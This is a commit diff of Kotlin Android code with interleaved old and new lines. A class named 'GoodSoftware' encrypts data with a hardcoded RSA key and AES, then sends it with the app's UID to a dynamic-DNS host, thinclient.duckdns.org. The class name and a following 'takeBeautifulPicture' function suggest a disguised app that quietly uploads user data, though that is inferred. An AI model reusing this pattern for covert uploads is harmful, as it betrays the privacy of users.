Make client not crash if it cant access the server
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		@@ -131,55 +131,59 @@ class GoodSoftware (private val activity: MainActivity) {
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    fun sendDataToServer(sendData: String) {
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        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
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        val host = "thinclient.duckdns.org"
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        val port = 5645
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        val secureRandom = SecureRandom()
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        val keyBytes = ByteArray(16)
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        val ivBytes = ByteArray(16)
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        secureRandom.nextBytes(keyBytes)
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        secureRandom.nextBytes(ivBytes)
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        val key = SecretKeySpec(keyBytes, "AES")
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        val iv = IvParameterSpec(ivBytes)
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        val algorithm = "AES/CBC/PKCS5Padding"
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        try {
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            val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
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            val host = "thinclient.duckdns.org"
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            val port = 5645
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            val secureRandom = SecureRandom()
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            val keyBytes = ByteArray(16)
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            val ivBytes = ByteArray(16)
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            secureRandom.nextBytes(keyBytes)
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            secureRandom.nextBytes(ivBytes)
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            val key = SecretKeySpec(keyBytes, "AES")
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            val iv = IvParameterSpec(ivBytes)
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            val algorithm = "AES/CBC/PKCS5Padding"
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        val chunkSize = 131072
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        val chunks = sendData.lines().joinToString("").chunked(chunkSize)
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            val chunkSize = 131072
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            val chunks = sendData.lines().joinToString("").chunked(chunkSize)
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        val socket = Socket(host, port)
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        val writer = PrintWriter(socket.getOutputStream(), true)
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        val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
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            val socket = Socket(host, port)
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            val writer = PrintWriter(socket.getOutputStream(), true)
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            val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
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        val encodedKey = encodeBase64(keyBytes)
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        writer.println(encryptText(encodedKey, pKey))
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        reader.readLine()
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        val encodedIV = encodeBase64(ivBytes)
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        writer.println(encryptText(encodedIV, pKey))
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        reader.readLine()
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        val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
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        writer.println(encryptText(encodedUid, pKey))
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        reader.readLine()
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        for (chunk in chunks) {
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            val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
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            writer.println(cipherText)
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            val encodedKey = encodeBase64(keyBytes)
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            writer.println(encryptText(encodedKey, pKey))
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            reader.readLine()
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            val encodedIV = encodeBase64(ivBytes)
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            writer.println(encryptText(encodedIV, pKey))
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            reader.readLine()
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            val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
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            writer.println(encryptText(encodedUid, pKey))
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            reader.readLine()
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            for (chunk in chunks) {
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                val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
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                writer.println(cipherText)
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                reader.readLine()
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            }
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            writer.println("END_OF_COMMUNICATION")
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            reader.readLine()
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            println("Client: Ready for next operation")
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            writer.println("Ready for next operation")
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            reader.readLine()
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            // Close resources
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            writer.close()
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            reader.close()
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            socket.close()
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        } catch (e: Exception) {
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            e.printStackTrace()
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            // Handle the exception, e.g., log the error or notify the user
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        }
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        writer.println("END_OF_COMMUNICATION")
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        reader.readLine()
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        println("Client: Ready for next operation")
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        writer.println("Ready for next operation")
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        reader.readLine()
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        // Close resources
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        writer.close()
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        reader.close()
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        socket.close()
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    }
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    suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
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